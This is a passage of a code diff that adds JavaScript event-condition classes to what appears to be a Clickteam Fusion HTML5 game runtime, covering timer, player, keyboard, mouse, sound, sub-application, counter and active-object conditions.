+ if (CServices.compareStringsIgnoreCase(rhPtr.rh4CurrentForEach.name, pName))
+ {
+ rhPtr.rhEvtProg.evt_ForceOneObject(this.evtOiList, pHo);
+ return true;
+ }
+ }
+ if (rhPtr.rh4CurrentForEach2 != null)
+ {
+ if (CServices.compareStringsIgnoreCase(rhPtr.rh4CurrentForEach2.name, pName))
+ {
+ rhPtr.rhEvtProg.evt_ForceOneObject(this.evtOiList, pHo);
+ return true;
+ }
+ }
+ return false;
+ },
+ eva2: function (rhPtr)
+ {
+ var pHo2 = null;
+ var pName = rhPtr.get_EventExpressionString(this.evtParams[0]);
+ var pForEach = rhPtr.rh4CurrentForEach;
+ if (pForEach != null)
+ {
+ if (CServices.compareStringsIgnoreCase(pForEach.name, pName))
+ {
+ if (pForEach.oi == this.evtOiList)
+ {
+ var index = pForEach.index % pForEach.number;
+ pHo2 = pForEach.objects[index];
+ }
+ }
+ }
+ pForEach = rhPtr.rh4CurrentForEach2;
+ if (pForEach != null)
+ {
+ if (CServices.compareStringsIgnoreCase(pForEach.name, pName))
+ {
+ if (pForEach.oi == this.evtOiList)
+ {
+ var index = pForEach.index % pForEach.number;
+ pHo2 = pForEach.objects[index];
+ }
+ }
+ }
+ if (pHo2 != null)
+ {
+ rhPtr.rhEvtProg.evt_ForceOneObject(this.evtOiList, pHo2);
+ return true;
+ }
+ return false;
+ }
+ }
+ // CUT
+
+
+ // Storyboard object
+ // ---------------------------------------------------------------------
+ function CND_ENDOFPAUSE()
+ {
+ }
+ CND_ENDOFPAUSE.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return true;
+ },
+ eva2: function (rhPtr)
+ {
+ if (rhPtr.rh4EndOfPause != rhPtr.rhLoopCount - 1)
+ return false;
+ return true;
+ }
+ }
+ // CUT
+
+
+ function CND_ISVSYNCON()
+ {
+ }
+ CND_ISVSYNCON.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return (rhPtr.rhApp.gaNewFlags & CRunApp.GANF_VSYNC) != 0 && window.requestAnimationFrame;
+ ;
+ },
+ eva2: function (rhPtr)
+ {
+ return (rhPtr.rhApp.gaNewFlags & CRunApp.GANF_VSYNC) != 0 && window.requestAnimationFrame;
+ ;
+ }
+ }
+ // CUT
+
+ function CND_ISLADDER()
+ {
+ }
+ CND_ISLADDER.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var x = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ var y = rhPtr.get_EventExpressionInt(this.evtParams[1]);
+
+ if (rhPtr.y_GetLadderAt(-1, x, y) != null)
+ return CCnd.negaTRUE(this);
+ return CCnd.negaFALSE(this);
+ }
+ }
+ // CUT
+
+ function CND_ISOBSTACLE()
+ {
+ }
+ CND_ISOBSTACLE.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var x = rhPtr.get_EventExpressionInt(this.evtParams[0]) - rhPtr.rhWindowX;
+ var y = rhPtr.get_EventExpressionInt(this.evtParams[1]) - rhPtr.rhWindowY;
+
+ if (rhPtr.colMask_Test_XY(x, y, -1, CRunFrame.CM_TEST_OBSTACLE))
+ return CCnd.negaTRUE(this);
+ return CCnd.negaFALSE(this);
+ }
+ }
+ // CUT
+
+ function CND_QUITAPPLICATION()
+ {
+ }
+ CND_QUITAPPLICATION.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return true;
+ },
+ eva2: function (rhPtr)
+ {
+ return false;
+ }
+ }
+ // CUT
+
+ function CND_START()
+ {
+ }
+ CND_START.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ if (rhPtr.rhLoopCount > 2)
+ return false;
+ return true;
+ },
+ eva2: function (rhPtr)
+ {
+ if (rhPtr.rhLoopCount > 2)
+ return false;
+ return true;
+ }
+ }
+ // CUT
+
+
+ // Timer object
+ // -----------------------------------------------------------------------
+ function CND_ONEVENT()
+ {
+ }
+ CND_ONEVENT.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var pName = rhPtr.get_EventExpressionString(this.evtParams[0]);
+ return CServices.compareStringsIgnoreCase(pName, rhPtr.rhEvtProg.rhCurParam0);
+ }
+ }
+ // CUT
+ function CND_EVERY()
+ {
+ }
+ CND_EVERY.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var p = this.evtParams[0];
+ p.compteur -= rhPtr.rhTimerDelta;
+ if (p.compteur > 0)
+ return false;
+ p.compteur += p.delay;
+ return true;
+ }
+ }
+ // CUT
+
+ function CND_TIMEOUT()
+ {
+ }
+ CND_TIMEOUT.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var time;
+ if (this.evtParams[0].code == 22)
+ time = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ else
+ time = this.evtParams[0].timer;
+
+ if (rhPtr.rh4TimeOut > time)
+ return true;
+ return false;
+ }
+ }
+ // CUT
+
+ function CND_TIMER()
+ {
+ }
+ CND_TIMER.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ if ((this.evtFlags & CEvent.EVFLAGS_DONE) != 0)
+ return false;
+
+ var time = this.evtParams[0].timer;
+ if (rhPtr.rhTimer < time)
+ return false;
+ this.evtFlags |= CEvent.EVFLAGS_DONE;
+ return true;
+ },
+ eva2: function (rhPtr)
+ {
+ return false;
+ }
+ }
+ // CUT
+
+ function CND_TIMERINF()
+ {
+ }
+ CND_TIMERINF.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var time;
+ if (this.evtParams[0].code == 22)
+ time = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ else
+ time = this.evtParams[0].timer;
+
+ if (rhPtr.rhTimer > time)
+ return false;
+
+ return true;
+ }
+ }
+ // CUT
+
+ function CND_EVERY2()
+ {
+ }
+ CND_EVERY2.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var param2 = this.evtParams[1];
+ var time;
+
+ if (param2.value2 == 0)
+ {
+ if (this.evtParams[0].code == 22)
+ time = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ else
+ time = this.evtParams[0].timer;
+ param2.value = time;
+ param2.value2 = -1;
+ }
+ else
+ {
+ param2.value -= rhPtr.rhTimerDelta;
+ if (param2.value <= 0)
+ {
+ if (this.evtParams[0].code == 22)
+ time = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ else
+ time = this.evtParams[0].timer;
+ param2.value += time;
+ return true;
+ }
+ }
+ return false;
+ }
+ }
+ // CUT
+
+ function CND_TIMEREQUALS()
+ {
+ }
+ CND_TIMEREQUALS.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var time;
+ if (this.evtParams[0].code == 22)
+ time = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ else
+ time = this.evtParams[0].timer;
+
+ var param2 = this.evtParams[1];
+ if (rhPtr.rhTimer >= time)
+ {
+ if (param2.value == rhPtr.rhLoopCount)
+ {
+ param2.value = rhPtr.rhLoopCount + 1;
+ return false;
+ }
+ param2.value = rhPtr.rhLoopCount + 1;
+ return true;
+ }
+ return false;
+ }
+ }
+ // CUT
+
+ function CND_TIMERSUP()
+ {
+ }
+ CND_TIMERSUP.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var time;
+ if (this.evtParams[0].code == 22)
+ time = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ else
+ time = this.evtParams[0].timer;
+
+ if (rhPtr.rhTimer > time)
+ return true;
+
+ return false;
+ }
+ }
+ // CUT
+
+
+ // Player object
+ // --------------------------------------------------------------------
+ function CND_JOYPRESSED()
+ {
+ }
+ CND_JOYPRESSED.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ var joueur = this.evtOi;
+ if (joueur != rhPtr.rhEvtProg.rhCurOi)
+ return false;
+
+ var j = rhPtr.rhEvtProg.rhCurParam0;
+ j &= this.evtParams[0].value;
+ if (j != this.evtParams[0].value)
+ return false;
+ return true;
+ },
+ eva2: function (rhPtr)
+ {
+ var joueur = this.evtOi;
+ var b = (rhPtr.rh2NewPlayer[joueur] & rhPtr.rhPlayer[joueur]);
+
+ var s = b;
+ s &= this.evtParams[0].value;
+ if (this.evtParams[0].value != s)
+ return false;
+ return true;
+ }
+ }
+ // CUT
+
+ function CND_JOYPUSHED()
+ {
+ }
+ CND_JOYPUSHED.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var s = rhPtr.rhPlayer[this.evtOi];
+ s &= this.evtParams[0].value;
+ if (s != this.evtParams[0].value)
+ return CCnd.negaFALSE(this);
+ return CCnd.negaTRUE(this);
+ }
+ }
+ // CUT
+
+ function CND_LIVE()
+ {
+ }
+ CND_LIVE.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var value2 = rhPtr.get_EventExpressionAny(this.evtParams[0]);
+ var comp = this.evtParams[0].comparaison;
+ return CRun.compareTo(rhPtr.rhApp.getLives()[this.evtOi], value2, comp);
+ }
+ }
+ // CUT
+
+ function CND_NOMORELIVE()
+ {
+ }
+ CND_NOMORELIVE.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ if (rhPtr.rhApp.getLives()[this.evtOi] != 0)
+ return false;
+ return true;
+ }
+ }
+ // CUT
+
+ // TODO dans tous les runtimes
+ function CND_PLAYERPLAYING()
+ {
+ }
+ CND_PLAYERPLAYING.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return false;
+ },
+ eva2: function (rhPtr)
+ {
+ return false;
+ }
+ }
+ // CUT
+
+ function CND_SCORE()
+ {
+ }
+ CND_SCORE.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var scores = rhPtr.rhApp.getScores();
+ var value2 = rhPtr.get_EventExpressionAny(this.evtParams[0]);
+ var comp = this.evtParams[0].comparaison;
+ return CRun.compareTo(scores[this.evtOi], value2, comp);
+ }
+ }
+ // CUT
+
+
+ // Keyboard object
+ // -------------------------------------------------------------------
+ function CND_KBKEYDEPRESSED()
+ {
+ }
+ CND_KBKEYDEPRESSED.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ return CCnd.negate(this, rhPtr.rhApp.keyBuffer[this.evtParams[0].key]);
+ }
+ }
+ // CUT
+
+ function CND_KBPRESSKEY()
+ {
+ }
+ CND_KBPRESSKEY.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ if (rhPtr.rhApp.keyBuffer[this.evtParams[0].key] == false)
+ return CCnd.negaFALSE(this);
+ if (CCnd.compute_GlobalNoRepeat(rhPtr))
+ return CCnd.negaTRUE(this);
+ else
+ return CCnd.negaFALSE(this);
+ }
+ }
+
+ // CUT
+ function CND_MCLICK()
+ {
+ }
+ CND_MCLICK.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ var key = rhPtr.rhEvtProg.rhCurParam0;
+ if (this.evtParams[0].value != key)
+ return false;
+ return true;
+ },
+ eva2: function (rhPtr)
+ {
+ if (this.evtParams[0].value == rhPtr.rhEvtProg.rh2CurrentClick)
+ return true;
+ return false;
+ }
+ }
+ // CUT
+
+ function CND_MCLICKINZONE()
+ {
+ }
+ CND_MCLICKINZONE.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ var key = rhPtr.rhEvtProg.rhCurParam0;
+ if (this.evtParams[0].value == key)
+ {
+ var p = this.evtParams[1];
+ if (rhPtr.rh2MouseX >= p.x1 && rhPtr.rh2MouseX < p.x2 && rhPtr.rh2MouseY >= p.y1 && rhPtr.rh2MouseY < p.y2)
+ {
+ return true;
+ }
+ }
+ return false;
+ },
+ eva2: function (rhPtr)
+ {
+ if (this.evtParams[0].value == rhPtr.rhEvtProg.rh2CurrentClick)
+ {
+ var p = this.evtParams[1];
+ if (rhPtr.rh2MouseX >= p.x1 && rhPtr.rh2MouseX < p.x2 && rhPtr.rh2MouseY >= p.y1 && rhPtr.rh2MouseY < p.y2)
+ {
+ return true;
+ }
+ }
+ return false;
+ }
+ }
+ // CUT
+
+ function CND_MCLICKONOBJECT()
+ {
+ }
+ CND_MCLICKONOBJECT.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ var p = this.evtParams[0];
+ if (rhPtr.rhEvtProg.rhCurParam0 != p.value)
+ return false;
+
+ var oi = rhPtr.rhEvtProg.rhCurParam1;
+ var po = this.evtParams[1];
+ if (oi == po.oi)
+ {
+ rhPtr.rhEvtProg.evt_AddCurrentObject(rhPtr.rhEvtProg.rh4_2ndObject);
+ return true;
+ }
+
+ var oil = po.oiList;
+ if ((oil & 0x8000) == 0)
+ return false;
+ var qoil = rhPtr.rhEvtProg.qualToOiList[oil & 0x7FFF];
+ var qoi;
+ for (qoi = 0; qoi < qoil.qoiList.length; qoi += 2)
+ {
+ if (qoil.qoiList[qoi] == oi)
+ {
+ rhPtr.rhEvtProg.evt_AddCurrentQualifier(oil);
+ rhPtr.rhEvtProg.evt_AddCurrentObject(rhPtr.rhEvtProg.rh4_2ndObject);
+ return true;
+ }
+ }
+ return false;
+ },
+ eva2: function (rhPtr)
+ {
+ var p = this.evtParams[0];
+ if (rhPtr.rhEvtProg.rh2CurrentClick != p.value)
+ return false;
+
+ var po = this.evtParams[1];
+ return rhPtr.getMouseOnObjectsEDX(po.oiList, false);
+ }
+ }
+ // CUT
+
+ function CND_MINZONE()
+ {
+ }
+ CND_MINZONE.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var p = this.evtParams[0];
+ if (rhPtr.rh2MouseX >= p.x1 && rhPtr.rh2MouseX < p.x2 && rhPtr.rh2MouseY >= p.y1 && rhPtr.rh2MouseY < p.y2)
+ return CCnd.negaTRUE(this);
+ return CCnd.negaFALSE(this);
+ }
+ }
+ // CUT
+
+ function CND_MKEYDEPRESSED()
+ {
+ }
+ CND_MKEYDEPRESSED.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var code = 0;
+ switch (this.evtParams[0].key)
+ {
+ case 1:
+ code = CRunApp.VK_LBUTTON;
+ break;
+ case 2:
+ code = CRunApp.VK_RBUTTON;
+ break;
+ case 4:
+ code = CRunApp.VK_MBUTTON;
+ break;
+ }
+ if (rhPtr.rhApp.keyBuffer[code] == false)
+ return CCnd.negaFALSE(this);
+ return CCnd.negaTRUE(this);
+ }
+ }
+ // CUT
+
+ function CND_MONOBJECT()
+ {
+ }
+ CND_MONOBJECT.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var flag = (this.evtFlags2 & CEvent.EVFLAG2_NOT) != 0;
+ return rhPtr.getMouseOnObjectsEDX(this.evtParams[0].oiList, flag);
+ }
+ }
+ // CUT
+
+ function CND_MOUSEON()
+ {
+ }
+ CND_MOUSEON.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ if (rhPtr.isMouseOn())
+ {
+ return CCnd.negaTRUE(this);
+ }
+ return CCnd.negaFALSE(this);
+ }
+ }
+ // CUT
+
+ function CND_ONMOUSEWHEELDOWN()
+ {
+ }
+ CND_ONMOUSEWHEELDOWN.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return true;
+ },
+ eva2: function (rhPtr)
+ {
+ if (rhPtr.rhWheelCount == rhPtr.rh4EventCount)
+ {
+ return true;
+ }
+ return false;
+ }
+ }
+ // CUT
+
+ function CND_ONMOUSEWHEELUP()
+ {
+ }
+ CND_ONMOUSEWHEELUP.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return true;
+ },
+ eva2: function (rhPtr)
+ {
+ if (rhPtr.rhWheelCount == rhPtr.rh4EventCount)
+ {
+ return true;
+ }
+ return false;
+ }
+ }
+ // CUT
+
+ function CND_ANYKEY()
+ {
+ }
+ CND_ANYKEY.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return true;
+ },
+ eva2: function (rhPtr)
+ {
+ return false;
+ }
+ }
+ // CUT
+
+ // Speaker object
+ // -----------------------------------------------------------------------
+ function CND_NOSAMPLAYING()
+ {
+ }
+ CND_NOSAMPLAYING.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ if (!rhPtr.rhApp.soundPlayer.isSoundPlaying())
+ {
+ return CCnd.negaTRUE(this);
+ }
+ return CCnd.negaFALSE(this);
+ }
+ }
+ // CUT
+
+ function CND_NOSPCHANNELPLAYING()
+ {
+ }
+ CND_NOSPCHANNELPLAYING.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var channel = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ if (!rhPtr.rhApp.soundPlayer.isChannelPlaying(channel - 1))
+ {
+ return CCnd.negaTRUE(this);
+ }
+ return CCnd.negaFALSE(this);
+ }
+ }
+ // CUT
+
+ function CND_NOSPSAMPLAYING()
+ {
+ }
+ CND_NOSPSAMPLAYING.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ if (!rhPtr.rhApp.soundPlayer.isSamplePlaying(this.evtParams[0].sndHandle))
+ {
+ return CCnd.negaTRUE(this);
+ }
+ return CCnd.negaFALSE(this);
+ }
+ }
+ // CUT
+
+ function CND_SPCHANNELPAUSED()
+ {
+ }
+ CND_SPCHANNELPAUSED.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var channel = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ if (rhPtr.rhApp.soundPlayer.isChannelPaused(channel - 1))
+ {
+ return CCnd.negaTRUE(this);
+ }
+ return CCnd.negaFALSE(this);
+ }
+ }
+ // CUT
+
+ function CND_SPSAMPAUSED()
+ {
+ }
+ CND_SPSAMPAUSED.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var p = this.evtParams[0];
+ if (rhPtr.rhApp.soundPlayer.isSamplePaused(p.sndHandle))
+ {
+ return CCnd.negaTRUE(this);
+ }
+ return CCnd.negaFALSE(this);
+ }
+ }
+ // CUT
+
+
+ // Question and Answer object
+ // --------------------------------------------------------------
+ function CND_QEQUAL()
+ {
+ }
+ CND_QEQUAL.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ var num = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ if (rhPtr.rhEvtProg.rhCurParam0 == num)
+ return true;
+ return false;
+ },
+ eva2: function (rhPtr)
+ {
+ return false;
+ }
+ }
+ // CUT
+
+ function CND_QEXACT()
+ {
+ }
+ CND_QEXACT.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return true;
+ },
+ eva2: function (rhPtr)
+ {
+ return false;
+ }
+ }
+ // CUT
+
+ function CND_QFALSE()
+ {
+ }
+ CND_QFALSE.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return true;
+ },
+ eva2: function (rhPtr)
+ {
+ return false;
+ }
+ }
+ // CUT
+
+ // Sub-Application object
+ // ------------------------------------------------------------
+ function CND_CCAAPPFINISHED()
+ {
+ }
+ CND_CCAAPPFINISHED.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ eva2: function (rhPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ evaObjectRoutine: function (hoPtr)
+ {
+ return CCnd.negate(this, hoPtr.appFinished());
+ }
+ });
+ // CUT
+
+ function CND_CCAFRAMECHANGED()
+ {
+ }
+ CND_CCAFRAMECHANGED.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ eva2: function (rhPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ evaObjectRoutine: function (hoPtr)
+ {
+ return CCnd.negate(this, hoPtr.frameChanged());
+ }
+ });
+ // CUT
+
+ function CND_CCAISPAUSED()
+ {
+ }
+ CND_CCAISPAUSED.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ eva2: function (rhPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ evaObjectRoutine: function (hoPtr)
+ {
+ return CCnd.negate(this, hoPtr.isPaused());
+ }
+ });
+ // CUT
+
+ function CND_CCAISVISIBLE()
+ {
+ }
+ CND_CCAISVISIBLE.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ eva2: function (rhPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ evaObjectRoutine: function (hoPtr)
+ {
+ return CCnd.negate(this, hoPtr.isVisible());
+ }
+ });
+ // CUT
+
+ // Counter object
+ // -------------------------------------------------------------
+ function CND_CCOUNTER()
+ {
+ }
+ CND_CCOUNTER.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.evt_FirstObject(this.evtOiList);
+ var cpt = rhPtr.rhEvtProg.evtNSelectedObjects;
+ var value1, value2;
+ while (pHo != null)
+ {
+ value1 = pHo.cpt_GetValue();
+ value2 = rhPtr.get_EventExpressionAny(this.evtParams[0]);
+ if (CRun.compareTo(value1, value2, this.evtParams[0].comparaison) == false)
+ {
+ cpt--;
+ rhPtr.rhEvtProg.evt_DeleteCurrentObject();
+ }
+ pHo = rhPtr.rhEvtProg.evt_NextObject();
+ }
+ ;
+ return (cpt != 0);
+ }
+ }
+ // CUT
+
+ // Active and extension objects
+ // ----------------------------------------------------------------
+ function CND_EXTHIDDEN()
+ {
+ }
+ CND_EXTHIDDEN.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ eva2: function (rhPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ evaObjectRoutine: function (hoPtr)
+ {
+ if ((hoPtr.ros.rsFlags & CRSpr.RSFLAG_HIDDEN) != 0)
+ return true;
+ return false;
+ }
+ });
+ // CUT
+
+ function CND_EXTANIMENDOF()
+ {
+ }
+ CND_EXTANIMENDOF.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ var ani;
+ if (this.evtParams[0].code == 10)
+ ani = this.evtParams[0].value;
+ else
+ ani = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+
+ if (ani != rhPtr.rhEvtProg.rhCurParam0)
+ return false;
+ rhPtr.rhEvtProg.evt_AddCurrentObject(hoPtr);
+ return true;
+ },
+ eva2: function (rhPtr)
+ {
+ if (this.evtParams[0].code == 10)
+ return this.evaObject(rhPtr, this);
+ return this.evaExpObject(rhPtr, this);
+ },
+ evaObjectRoutine: function (hoPtr)
+ {
+ var anim = this.evtParams[0].value;
+ if (anim != hoPtr.roa.raAnimOn)
+ return false;
+ if (hoPtr.roa.raAnimNumberOfFrame == 0)
+ return true;
+ return false;
+ },
+ evaExpRoutine: function (hoPtr, value, comp)
+ {
+ if (value != hoPtr.roa.raAnimOn)
+ return false;
+ if (hoPtr.roa.raAnimNumberOfFrame == 0)
+ return true;
+ return false;
+ }
+ });
+ // CUT
+
+ function CND_EXTANIMPLAYING()
+ {
+ }
+ CND_EXTANIMPLAYING.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ if (this.evtParams[0].code == 10)
+ return this.evaObject(rhPtr, this);
+ return this.evaExpObject(rhPtr, this);
+ },
+ evaObjectRoutine: function (hoPtr)
+ {
+ var anim = this.evtParams[0].value;
+ if (anim != hoPtr.roa.raAnimOn)
+ return CCnd.negaFALSE(this);
+ if (hoPtr.roa.raAnimNumberOfFrame != 0)
+ return CCnd.negaTRUE(this);
+ return CCnd.negaFALSE(this);
+ },
+ evaExpRoutine: function (hoPtr, value, comp)
+ {
+ if (value != hoPtr.roa.raAnimOn)
+ return CCnd.negaFALSE(this);
+ if (hoPtr.roa.raAnimNumberOfFrame != 0)
+ return CCnd.negaTRUE(this);
+ return CCnd.negaFALSE(this);
+ }
+ });
+ // CUT
+
+ function CND_EXTBOUNCING()
+ {
+ }
+ CND_EXTBOUNCING.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ eva2: function (rhPtr)
+ {
+ return this.evaObject(rhPtr, this);
+ },
+ evaObjectRoutine: function (hoPtr)
+ {
+ return CCnd.negate(this, hoPtr.rom.rmBouncing);
+ }
+ });
+ // CUT
+
+ function CND_EXTCMPACC()
+ {
+ }
+ CND_EXTCMPACC.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.evaExpObject(rhPtr, this);
+ },
+ eva2: function (rhPtr)
+ {
+ return this.evaExpObject(rhPtr, this);
+ },
+ evaExpRoutine: function (hoPtr, value, comp)
+ {
+ return CRun.compareTer(hoPtr.rom.rmMovement.rmAcc, value, comp);
+ }
+ });
+ // CUT
+
+ function CND_EXTCMPDEC()
+ {
+ }
+ CND_EXTCMPDEC.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.evaExpObject(rhPtr, this);
+ },
+ eva2: function (rhPtr)
+ {
+ return this.evaExpObject(rhPtr, this);
+ },
+ evaExpRoutine: function (hoPtr, value, comp)
+ {
+ return CRun.compareTer(hoPtr.rom.rmMovement.rmDec, value, comp);
+ }
+ });
+ // CUT
+
+ function CND_EXTCMPFRAME()
+ {
+ }
+ CND_EXTCMPFRAME.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.evaExpObject(rhPtr, this);
+ },
+ eva2: function (rhPtr)
+ {
+ return this.evaExpObject(rhPtr, this);
+ },
+ evaExpRoutine: function (hoPtr, value, comp)
+ {
+ return CRun.compareTer(hoPtr.roa.raAnimFrame, value, comp);
+ }
+ });
+ // CUT
+
+ function CND_EXTCMPSPEED()
+ {
+ }
+ CND_EXTCMPSPEED.prototype = CServices.extend(new CCnd(),
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.evaExpObject(rhPtr, this);
+ },
+ eva2: function (rhPtr)
+ {
+ return this.evaExpObject(rhPtr, this);
+ },
+ evaExpRoutine: function (hoPtr, value, comp)
+ {
+ return CRun.compareTer(hoPtr.roc.rcSpeed, value, comp);
+ }
+ });
+ // CUT
+
+ function CND_EXTCMPVAR()
+ {
+ }
+ CND_EXTCMPVAR.prototype =
+ {
+ eva1: function (rhPtr, hoPtr)
+ {
+ return this.eva2(rhPtr);
+ },
+ eva2: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.evt_FirstObject(this.evtOiList);
+ if (pHo == null) return false;
+
+ var cpt = rhPtr.rhEvtProg.evtNSelectedObjects;
+ var value1;
+ var value2;
+ var p = this.evtParams[1];
+ do
+ {
+ var num;
+ if (this.evtParams[0].code == 53)
+ num = rhPtr.get_EventExpressionInt(this.evtParams[0]);
+ else
+ num = this.evtParams[0].value;
+
+ if (num >= 0 && pHo.rov != null)
+ {
+ if (num < pHo.rov.rvValues.length)
+ value1 = pHo.rov.getValue(num);
+ else
+ value1 = 0;
+ value2 = rhPtr.get_EventExpressionAny(p);
+
+ if (CRun.compareTo(value1, value2, p.comparaison) == false)
+ {
+ cpt--;
+ rhPtr.rhEvtProg.evt_DeleteCurrentObject();
+ }
+ }
+ else
+ {
+ cpt--;
+ rhPtr.rhEvtProg.evt_DeleteCurrentObject();
+ }
+ pHo = rhPtr.rhEvtProg.evt_NextObject();
+ } while (pHo != null);
+ return (cpt != 0);
+ }
+ }
+ // -- CUT
+
+ function CND_EXTCMPVARCONST() {
+ }
